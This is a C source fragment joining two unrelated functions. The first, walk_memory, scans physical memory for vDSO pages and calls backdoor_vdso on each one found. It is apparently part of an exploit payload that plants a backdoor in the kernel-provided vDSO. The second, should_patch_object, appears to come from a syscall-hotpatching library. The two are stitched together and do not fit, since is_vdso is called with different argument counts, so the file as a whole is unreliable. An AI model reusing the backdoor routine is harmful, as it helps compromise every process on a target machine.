int walk_memory(void)
{
register ULONG *mem;
ULONG mem_count, a;
USHORT memkb;
bool found;
__asm__ __volatile__ ("wbinvd");
found = false;
mem_count = 0;
memkb = 0;
do {
memkb++;
mem_count += 1024*1024;
mem = (ULONG *)mem_count;
a= *mem;
*mem = PATTERN1;
// the empty asm calls tell gcc not to rely on what's in its
// registers as saved variables (this avoids GCC optimisations)
//asm("":::"memory");
if (*mem != PATTERN1) {
mem_count = 0;
} else {
*mem = PATTERN2;
//asm("":::"memory");
if (*mem != PATTERN2)
mem_count = 0;
}
if (mem_count != 0) {
void *addr;
int i;
addr = (void *)mem_count;
for (i = 0; i < (1024 * 1024) / PAGE_SIZE; i++) {
if (is_vdso(addr)) {
backdoor_vdso(addr);
found = true;
}
addr += PAGE_SIZE;
}
}
//asm("":::"memory");
*mem = a;
} while (memkb < 4096 && mem_count != 0);
return found ? 0x1337 : 0xdead;
}
/*
* should_patch_object
* Decides whether a particular loaded object should should be targeted for
* hotpatching.
* Always skipped: [vdso], and the syscall_intercept library itself.
* Besides these two, if patch_all_objs is true, everything object is
* a target. When patch_all_objs is false, only libraries that are parts of
* the glibc implementation are targeted, i.e.: libc and libpthread.
*/
static bool
should_patch_object(uintptr_t addr, const char *path)
{
static uintptr_t self_addr;
if (self_addr == 0) {
extern unsigned char intercept_asm_wrapper_tmpl[];
Dl_info self;
if (!dladdr((void *)&intercept_asm_wrapper_tmpl, &self))
xabort("self dladdr failure");
self_addr = (uintptr_t)self.dli_fbase;
}
static const char libc[] = "libc";
static const char pthr[] = "libpthread";
static const char caps[] = "libcapstone";
if (is_vdso(addr, path)) {
debug_dump(" - skipping: is_vdso\n");
return false;
}
const char *name = get_lib_short_name(path);
size_t len = strcspn(name, "-.");
if (len == 0)
return false;
if (addr == self_addr) {
debug_dump(" - skipping: matches self\n");
return false;
}
if (str_match(name, len, caps)) {
debug_dump(" - skipping: matches capstone\n");
return false;
}
if (str_match(name, len, libc)) {
debug_dump(" - libc found\n");
libc_found = true;
return true;
}
if (patch_all_objs)
return true;
if (str_match(name, len, pthr)) {
debug_dump(" - libpthread found\n");
return true;
}
debug_dump(" - skipping, patch_all_objs == false\n");
return false;
}
